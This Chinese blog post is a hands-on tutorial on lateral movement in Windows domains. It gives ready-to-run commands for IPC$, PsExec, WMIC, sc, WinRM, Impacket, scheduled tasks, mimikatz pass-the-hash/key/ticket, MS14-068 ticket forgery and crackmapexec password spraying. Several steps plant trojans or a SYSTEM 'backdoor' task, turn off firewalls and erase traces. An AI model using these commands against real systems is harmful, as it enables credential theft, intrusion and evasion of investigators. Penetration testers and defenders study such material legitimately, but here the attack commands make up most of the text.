内网横向移动常用方法

news2024/11/15 1:43:55

横向移动

#横向移动含义
横向移动是以已经被攻陷的系统为跳板,通过收集跳板机的信息(文档,存储的凭证,ipc连接记录等等信息)来访问其他域内主机。

#常见横向手段
1,通过相同的用户名密码批量ipc连接其他域内主机
2,使用mimikatz丰富密码字典进行爆破
....

横向的前提是已经做好了信息收集,并且知道了域内的其他主机的ip地址以及账号密码等信息。

ipc

共享“命名管道”的资源,为了实现进程间通信而开放的命名管道,可通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

# ipc功能
通过icp,可以域目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行文件上传、下载操作,还可以在目标机器上运行其他命令,获取目标机器的目录结构,用户列表等
  • 横向方法
1,使用net use查看是否有会话
如图出现以下说明这台主机和别的主机有过ipc连接,可以再次连接,通过猜解用户名密码

2,使用命令进行连接
net use \\192.168.110.143\ipc$ "Aa123456" /user:administrator

3,连接成功后可使用以下命令来获取远程主机信息
# dir
dir \\192.168.110.134\c$    //可列出远程主机中的文件

# tasklist
tasklist /S 192.168.110.134 /U administrator /P Aa123456

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 利用的前提条件
1,主机开启了139 445端口。139和445端口可以实现对共享文件的访问
2,管理员开启了默认共享。默认共享是为了管理员进行远程管理默认开启的,通过ipc可以实现对这些默认共享目录的访问。
3,知道远程主机的用户名和密码(可利用mimikatz导出)
  • ipc$连接失败的原因
1,用户名或密码错误
2,目标未打开ipc共享
3,不能连接目标的139 445端口

psexec

psexec 是 windows 下非常好的一款远程命令执行工具,可以在远程计算机上执行命令。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
  • 使用psexec的前提
1,对方主机开启了 admin$ 共享

2,对方未开启防火墙

3,知道远程主机的用户名和密码(可利用mimikatz导出)

4,如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。

5,如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
  • 横向方法
1.如果建立了ipc连接的情况下,可以直接执行命令,获取system权限的shell
2,如果没用进行ipc连接,可以通过指定账户和密码进行远程连接并获取shell
  • 建立ipc连接情况下获取shell
PsExec.exe -accepteula \\192.168.183.130 -s cmd.exe             //-s 以system权限运行远程连接,获取一个system权限的交互式shell,如果不用-s会弹出administro的shell

在这里插入图片描述

  • 建立ipc连接情况下获取shell
PsExec.exe -accepteula -u Administrator -p Aa123456 \\192.168.183.130 -s cmd.exe

在这里插入图片描述

wmic

WMIC 是 Windows Management Instrumentation (WMI) 的命令行实用工具,用于管理和操作 Windows 系统。WMIC 可以通过命令行界面执行各种系统管理任务,包括查询系统信息、操控硬件资源、管理软件安装、调整网络设置等

# wmic优点
1,windows操作系统默认不会把wmi的操作记录在日志中,因为这个过程不会产生日志,所以对网络管理员来说增加了攻击溯源成本
  • 利用的前提条件
1,使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
2,知道远程主机的用户名和密码(可利用mimikatz导出)
3,wmic命令没有回显,需要使用ipc$和type命令来读取信息
  • 横向方法
1,可通过wmic以administrator连接到主机,创建一个进程执行ipconfig将命令写入到1.txt中,使用ipc连接type命令查看1.txt文件内容

2,查询远程主机进程信息
  • 创建进程执行命令
创建进程:
wmic /node:192.168.110.134 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\1.txt"

ipc连接type查看1.txt
type \\192.168.52.138\c$\result.txt

在这里插入图片描述
在这里插入图片描述

  • 查询远程主机进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief

在这里插入图片描述

sc

在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
  • 利用的前提条件
1.建立了ipc连接
  • 横向方法
1,先建立ipc连接,使用copy操作将木马复制到目标主机
2,使用sc创建一个启动程序的服务
3,立即启动服务
4,删除创建的服务
5,关闭防火墙
  • 建立连接,复制木马
copy 1.bat \\192.168.110.134\c$

在这里插入图片描述

  • sc创建服务
sc \\[主机名/IP] create [servicename] binpath= "[path]"   #创建计划任务启动程序  等号后面要有一个空格,不然会报错

eg:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"

在这里插入图片描述

  • 立即启动创建的服务
sc \\WIN-ENS2VR5TR3N start bindshell      //如果一直报错,尝试以管理员身份运行cmd

winrm

WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。
  • 使用前提
1,操作系统要求:WinRM 是 Windows 操作系统内置的远程管理协议,所以需要在 Windows 操作系统上才能使用。支持 WinRM 的 Windows 操作系统版本包括 Windows Vista 及更高版本。

2,远程访问权限:运行 WinRM 命令的用户需要在目标主机上拥有管理员或相应的远程访问权限。通常需要在目标主机上启用 WinRM 服务,并配置相应的防火墙规则。

3,协议支持:WinRM 基于 Web Services Management (WS-Management) 协议,需要目标主机上启用 WinRM 相关的 Windows 功能。默认情况下,WinRM 服务通过 HTTP 端口 5985 和 HTTPS 端口 5986 进行通信。

4,身份验证:WinRM 支持多种身份验证方式,如基本身份验证、Kerberos 身份验证、证书身份验证等。需要确保目标主机上已经正确配置了相应的身份验证方式。
  • 客户端安装winrm
1,先启用winrm服务
winrm quickconfig

2,查看winrm配置
winrm get winrm/config

在这里插入图片描述
在这里插入图片描述

  • 横向方法
1,使用winrs去访问运行winrm的远程服务器,并且执行命令

//winrs Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS

2,使用winrs去访问运行winrm的远程服务器,并且获取shell
  • 执行命令
 winrs -r:[ip] -u:[username] -p:[password] <command>
 
 eg:
 winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami
 
 //5985是winrm对应服务的http默认端口,https默认端口为5986

在这里插入图片描述

  • 如果有报错
如果出现以下报错,运行命令
winrm set winrm/config/Client @{TrustedHosts="*"}

在这里插入图片描述
在这里插入图片描述

  • 获取shell
winrs -r:http://192.168.110.134:5985 -u:administrator -p:Aa123456 cmd

在这里插入图片描述

impacket包

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。

下载地址:https://github.com/fortra/impacket
下载后脚本位置在impacket\impacket-master\examples下

不知道脚本的用法统一使用python 脚本名.py
例如atexec.py  使用python atexec.py之后会有各种参数以及脚本的使用方法
  • impacket包使用
1,先安装setuptools
pip install setuptools

2,安装包中脚本需要的库
python setup.py install

在这里插入图片描述

  • 横向方法
psexec.py:微软工具psexec的python版本,支持了hash横向,通过windows服务进行横向移动。

smbexec.py:类似于psexe的自定义版,其修改了psexec自动安装服务器到Admin$下的特点,smbexec通过手动安装服务器文件到自定义的位置。

atexec:利用远程计划任务进行命令执行并获取结果。

wmiexec.py:利用wmi组件,通过135端口上的RPC进行横向移动。

dcomexec.py:利用windows提供的DCOM接口进行横向移动,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
psexec.py
  • 使用前提
1,开放135 139 445端口
2,知道远程主机的用户名和密码
3,管理员权限: 要求运行 psexec.py 的用户拥有目标系统的管理员权限。这是因为 psexec.py 需要在远程系统上执行命令,而这需要提升的权限。
4,目标系统开启远程过程调用(DCOM): 目标系统需要开启远程过程调用(DCOM)服务,否则 psexec.py 将无法与之进行通信。可以在目标系统的"服务"中查看并确保该服务运行。
5,目标系统防火墙允许访问
6,目标系统操作系统支持: psexec.py 支持在Windows系统上运行,包括Windows XP、Windows 7、Windows 8/8.1、Windows 10等常见的Windows操作系统。


# 常用参数
-port [destination port] 指定目标SMB的端口
-codec codec 目标回显的编码,可先执行chcp.com拿到回显编码
-service-name service_name 指定创建服务的名称,默认随机
-remote-binary-name remote_binary_name 指定上传文件的名称,默认随机
  • 横向方法
1、连接远程计算机的admin$共享,获取shell
2,进行命令执行
  • 获取shell
./psexec.py 域名/用户名:密码@远程主机ip号

eg:python psexec.py cx/Administrator:Aa123456@192.168.1.140

在这里插入图片描述

smbexec.py
  • 使用前提
1,知道远程主机的具有管理员权限的用户名密码,或者密码hash值
2,远程主机开放了admin$、ipc$、c$、d$其中一个共享
3,开放135 139 445端口
4,目标系统开启SMB服务: 目标系统需要开启SMB服务,smbexec.py 会通过SMB协议与目标系统进行通信。


#功能
它可以列出共享和文件,重命名某些文件,上传二进制文件或从目标计算机下载文件。

  • 横向方法
1,使用smb.py通过获取的密码值或hash值来连接远程主机,获取shell

  • 获取shell
使用方法:
python smb.py 域名/远程主机用户名:远程主机密码@远程主机ip

eg:
python smbexec.py cx/Administrator:Aa1234567@192.168.110.134

在这里插入图片描述

atexec.py
  • 使用前提
1,知道远程主机具有管理员权限用户的密码或hash,或者有kerberos认证(aeskeys值)
2,目标系统支持AT命令: 目标系统需要支持AT命令,用于计划执行远程任务。Windows从Windows XP开始一直支持AT命令。
3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 atexec.py 连接所需的端口,通常是135、139和445端口。
  • 横向方法
1,使用atexec.py直接命令执行
  • 命令执行
使用方法:
python atexec.py 域名/远程主机用户名:远程主机密码@远程主机ip 需要执行的命令

python atexec.py cx/Administrator:@caixia1314520@192.168.110.134 ipconfig

在这里插入图片描述

wmiexec.py
  • 使用前提
1,目标系统开启WMI服务: 目标系统需要开启Windows管理规范接口(WMI)服务,wmiexec.py 会通过WMI与目标系统进行通信。

2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 wmiexec.py 能够成功登录并执行命令。

3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 wmiexec.py 连接所需的端口,通常是135、139和445端口。
  • 横向方法
1,运行wmiexec.py获取shell
  • 获取shell
python wmiexec.py 域名/远程主机用户名:远程主机密码@远程主机ip
dcomexec.py
  • 使用前提
1,目标系统开启DCOM服务: 目标系统需要开启分布式组件对象模型(DCOM)服务,dcomexec.py 会通过DCOM与目标系统进行通信。

2,目标系统用户账号: 需要提供一个在目标系统上具有管理员权限的用户账号和密码,以便 dcomexec.py 能够成功登录并执行命令。

3,目标系统防火墙允许访问: 目标系统的防火墙需要允许访问 dcomexec.py 连接所需的端口,通常是135、139和445端口。

4,管理权限: 运行 dcomexec.py 的用户需要拥有管理员或相当权限,以便能够在远程系统上执行命令。

5,目标系统支持DCOM: dcomexec.py 主要针对Windows系统,需要确保目标系统支持DCOM,通常从Windows 2000开始就支持。

6,选择合适的DCOM对象: dcomexec.py 需要指定要利用的DCOM对象,不同的对象会有不同的功能和权限,需要选择合适的对象。
  • 横向方法
python dcomexec.py 域名/域管理员用户名:@密码@远程主机ip

python dcomexec.py cx/Administrator:@caixia1314520@192.168.110.134

在这里插入图片描述

计划任务

# 计划任务功能
可以通过跳板机在目标主机创建计划任务,在计算机在指定的时间内执行木马程序,从而获得对内网目标主机的控制
at
  • 使用at的前提和流程
#使用at的前提 
1,使用at主要作用于winserver 2008之前的版本
2,建立了ipc连接


# at创建计划任务流程
1,使用net time确定当前系统时间(为了计划任务在指定的时间内运行,需要知道现在的时间)
2,使用copy命令将payload文件复制到远程目标机器中
3,使用at命令定时启动该payload文件
4,删除使用at命令创建计划任务的记录
  • 查看系统时间
net time \\192.168.110.134

在这里插入图片描述

  • 将文件复制到远程目标机器中
copy 1.bat \\192.168.110.134\c$

在这里插入图片描述

  • 使用at定时启动该文件
at \\192.168.110.134 18:53:00 1.bat
  • 将at记录删除
at \\192.168.183.130 1 /delete  // 1为计划任务的ID
schtasks
  • 使用schtasks的前提和流程
# 使用schtasks的前提
1,windowserver2008之后的系统
2,建立了ipc连接

# schtasks使用流程
1. 先与目标主机建立ipc连接
2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe(shell.exe可以换成calc内容的1.bat文件,这样更好看到效果),启动权限为system。
4,删除计划任务痕迹
  • 创建一个计划任务
schtasks /create /s 192.168.110.134 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f

在这里插入图片描述

  • 忽略任何限制立即运行任务
schtasks /run /s 192.168.110.134 /i /tn backdoor /u administrator /p Liu78963 

// i:忽略任何限制立即运行任务

在这里插入图片描述

  • 可看到目标机器已运行计算机

在这里插入图片描述

  • 删除计划任务痕迹
schtasks /delete /s 192.168.110.134 /tn "backdoor"  /u administrator /p Liu78963 /f 

在这里插入图片描述

  • 删除ipc$
net use \\192.168.110.134\ipc$ /del /y

在这里插入图片描述

hash传递

pth(通过NTLM)
pass the hash(hash传递攻击,简称 PTH),在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
总结:使用相同的账号密码去逐个试探登录内网其他主机

PTH 攻击的优点:
1.在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。

PTH 攻击利用条件:
被 pth 攻击的计算机未打补丁(KB2871997)
拿到一台域成员主机并且拿到管理员组的域用户的 NTML
对方主机存在相同账号并且是管理员组成员

  • 横向方法
1,使用mimikatz获得管理员权限并抓取域管理员hash值
2,将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
  • 提权并获取ntml值
privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述

  • 将抓取到的hash值添加到lsass中去,并使用mimikatz进行pth攻击
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b8076aee855c079e331af957e503e52

  • 会弹窗远程域控主机的cmd的窗口

在这里插入图片描述

  • 列出域控制器的c盘目录(要使用主机名,不能用IP,否则报错)

在这里插入图片描述

ptk(通过kerberos密钥)
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能

ptk利用条件:
1,安装了KB2871997补丁(安装补丁后pth除非是管理员(sid为500使用whoami/user)权限,否则无效,并且安装补丁后无法通过本地管理员权限对远程计算机使用psexec wmi smbexec schtasks at,也无法访问远程主机的文件共享等)
2,系统版本大于windows server 2012

  • 获取aes256值(或者aes128也可以)
sekurlsa::ekeys

在这里插入图片描述

  • 使用以下命令,获取管理员cmd
sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值

在这里插入图片描述

在这里插入图片描述

ptt(通过票据)
ptt是指攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

ptt 和 pth 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天),并且ptt不需要管理员权限,pth需要管理员权限
  • 横向方法
1,查看当前用户userid
2,使用mimikatz清除所有票据
4,生成新的票据
3,将票据文件注入内存
  • 查看当前用户userid
whoami/user

在这里插入图片描述

  • 清除所有的票据
mimikatz # kerberos::purge

在这里插入图片描述

  • 使用ms14-068生成新的票据

    MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。
    
    MS14-068 利用工具下载地址:
    https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
    
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

在这里插入图片描述

  • 使用mimimkatz将票据注入内存
kerberos::ptc 票据名
  • 将高权限的票据文件注入后,可列出远程计算机文件目录

在这里插入图片描述

crackmapexec工具使用

crackmapexec工具支持smb和winrm等协议执行命令、枚举域信息、密码攻击以及检测安全漏洞。

kali自带的工具,支持以下协议

在这里插入图片描述

smb
smb连接执行命令
-x:调用cmd

# 使用明文执行命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'

# 使用hash值执行命令(ntml)
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'
  • smb常用枚举功能
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups  枚举域组

crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt   枚举不需要smb签名的主机

crackmapexec smb <ip> -u user -p pass -M enum_av   枚举主机上的杀软

crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!'  --shares 列出共享 

 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions 枚举有效sessions
 
 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks  列出磁盘
 
 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users 枚举登录用户
 
 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users 枚举域用户
 
 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute  通过爆破RID枚举用户
 
 crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol 获取域密码策略
 
 crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth 验证本地用户,并且测试登录


  • 密码喷洒
crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18   多个用户,一个密码进行喷晒
crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18    使用users.txt 用户列表文件指定多用户喷晒
crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt   爆破administrator用户密码
winrm
winrm连接执行命令

crackmapexec wimri 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2069091.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++二分查找 】1477. 找两个和为目标值且不重叠的子数组

本文涉及的基础知识点 C二分查找 C算法&#xff1a;滑动窗口总结 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode1477. 找两个和为目标值且不重叠的子数组 给你一个整数数组 arr 和一个整数值 target 。 请你在 arr 中找 两个互…

C语言 | Leetcode C语言题解之第368题最大整除子集

题目&#xff1a; 题解&#xff1a; int cmp(int* a, int* b) {return *a - *b; }int* largestDivisibleSubset(int* nums, int numsSize, int* returnSize) {int len numsSize;qsort(nums, numsSize, sizeof(int), cmp);// 第 1 步&#xff1a;动态规划找出最大子集的个数、…

Java | Leetcode Java题解之第371题两整数之和

题目&#xff1a; 题解&#xff1a; class Solution {public int getSum(int a, int b) {while (b ! 0) {int carry (a & b) << 1;a a ^ b;b carry;}return a;} }

【Python】函数内的全局变量关键字gobal值,在函数外调用,有块“免死金牌”

在python世界里&#xff0c;全局变量global关键字&#xff0c;在函数间的跳转&#xff0c;就像是被赋予独立于体系的全局者&#xff0c;拥有一块“免死金牌”。 他拥有一种特权——它只是函数内部的对象&#xff0c;但是却能在函数外&#xff0c;亮出自己身份的全局变量&#…

浅拷贝和深拷贝(图文详解)

前端面试中&#xff0c;面试官经常会提到关于浅拷贝和深拷贝的问题。但是我总是理解于它的表面&#xff0c;面试中再深挖一点就会卡壳&#xff0c;我想把我的理解写下来&#xff0c;希望可以帮助到大家&#xff0c;如果有错误的地方希望大家可以指正&#xff0c;以免误导~ 看这…

mysql的安装与初始化

mysql mysql5.7.40下载链接 mysql安装文档 1. 编译安装过程 yum install -y cmake # 安装cmake tar xf mysql-boost-5.7.40.tar.gz cd /root/mysql-5.7.40 cmake -LH # 查看cmake的默认参数&#xff0c;需要进入mysql目录 yum install -y gcc-c.x86_64 yum install -y bis…

漏洞挖掘 | 记一次伪静态页面的SQL注入

前言 最近工作繁忙&#xff0c;许久没有挖洞&#xff0c;打开度娘&#xff0c;凡事随缘&#xff0c;偶米头发~~(⊙﹏⊙) 涉及技能点 SQL注入基础原理 盲注常用函数及思路 burpsuite基础知识 过程记录 1.发现 在翻阅一EDU站点时&#xff0c;发现路径中带有明显的数字参数 …

Java语言程序设计基础篇_编程练习题*17.1 (创建一个文本文件)

题目&#xff1a;*17.1 (创建一个文本文件) 编写一个程序&#xff0c;如果文件 Exercise17_01.txt 不存在&#xff0c;就创建一个名为 Exercise17_01.txt 的文件。向这个文件追加新数据。使用文本 I/O 将 100 个随机生成的整数写入这个文件。文件中的整数用空格分隔。 习题思路…

Sqlite3数据库表内数据批量读取操作---sqlite3_stmt机制

0、引言 在前面两篇文章已经对数据环境搭建、数据批量写入库中进行了较为详细的讲解。因此&#xff0c;基于前两篇文章内容的基础上&#xff0c;本文主要从数据库中批量数据读取操作进行梳理讲解。 嵌入式数据库SQLite 3配置使用详细笔记教程_sqlite3-CSDN博客 SQLite 3 优化批…

TCP与UDP传输的学习

void *memset(void *s, int c, size_t n); 功能&#xff1a;将一块内存空间的每个字节都设置为指定的值&#xff1b;这个函数通常用于初始化一个内存空间&#xff0c;或者清空一个空间&#xff1b; 参数&#xff1a;viod * s 空类型指针&#xff0c;指向要填充内存块&#xf…

android13 隐藏状态栏里面的飞行模式 隐藏蓝牙 隐藏网络

总纲 android13 rom 开发总纲说明 目录 1.前言 2.问题分析 3.代码分析 4.代码修改 5.编译运行 6.彩蛋 1.前言 android13 隐藏状态栏里面的飞行模式,或者其他功能,如网络,蓝牙等等功能,隐藏下图中的一些图标。 2.问题分析 这里如果直接找这个布局的话,需要跟的逻…

ubuntu /windows 安装COLMAP

目录 一、COLMAP简介 二、ubuntu安装COLMAP 三、windows安装COLMAP 一、COLMAP简介 COLMAP 是一款用于3D重建和图像处理的软件&#xff0c;它结合了计算机视觉算法和优化技术&#xff0c;用于从一组图像中构建三维结构。COLMAP 是一个全功能的通用视觉测距和三维建模工具&a…

免费的AI认证考试

努力保持领先地位 过去几年&#xff0c;科技行业发展速度越来越快&#xff0c;尤其是人工智能和大型语言模型(LLM) 的出现。 作为该领域的资深软件开发人员&#xff0c;我也注意到一个人的经验很快就会变得过时。 就在几年前&#xff0c;神经网络和深度学习风靡一时。虽然这…

三星计划今年HBM4设计,2025年初开始样品测试

三星计划今年晚些时候完成首款HBM4内存设备的设计定稿&#xff0c;2025年初开始样品测试 根据nN Elec援引行业消息人士的报道&#xff0c;三星计划在今年晚些时候完成首款HBM4内存设备的设计定稿&#xff0c;并预计将于2025年初开始样品测试。该公司预计将采用其最新一代10纳米…

全新 Firebase AI 开发助手,助力构建应用的每一步

作者 / 助理产品经理实习生 Aayush Bandopadhyay 使用 Firebase 构建应用可以变得更加简单&#xff01; 了解 Firebase 中的 Gemini&#xff0c;从构思应用创意到编写安全代码&#xff0c;都将成为您的最佳助手。这个功能强大的新工具集成在 Firebase 控制台中&#xff0c;可以…

如何在算家云搭建模型mPLUG-Owl3(智能对话)

一、模型介绍 1. 项目背景与概述 mPLUG-Owl3 是阿里巴巴 mPLUG 团队最新发布的通用多模态大模型&#xff0c;该模型在理解和处理复杂多图及长视频内容方面实现了显著突破。这一创新成果不仅提升了模型的推理效率&#xff0c;还保持了高度的准确性&#xff0c;为多模态大模型的…

计算机毕业设计选题推荐-花园管理系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Blender----利用DEM(tif)生成三维模型

首先需要安装Blender GIS这个插件&#xff1a;https://github.com/domlysz/BlenderGIS 一、TIFF的导入 可以通过GIS桌面端线查看DEM数据的信息&#xff0c;在blender中我们最好把TIF转换成3857或者其他投影的形式&#xff0c;推荐转成3857(web mector)投影是因为构建的模型可…

Leetcode-day31-01背包问题

46. 携带研究材料 1.dp数组代表的是什么&#xff1f; 这里的dp数组是一个二维数组&#xff0c;dp[i][j]是从前i个物品中任选放入容量j内的最大价值。 2.递推公式。 不放物品i&#xff1a;由dp[i - 1][j]推出&#xff0c;即背包容量为j&#xff0c;里面不放物品i的最大价值&am…

【时时三省】(C语言基础)数组参数

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ----CSDN 时时三省 一维数组传参 一维数组传参 数组大小可以省略 也可以写成指针 如果这个一维数组是个指针数组 写成指针数组 或者写成二级指针 这个上面列的都是正确的写法 二维数组传参 第5行的写法是不行…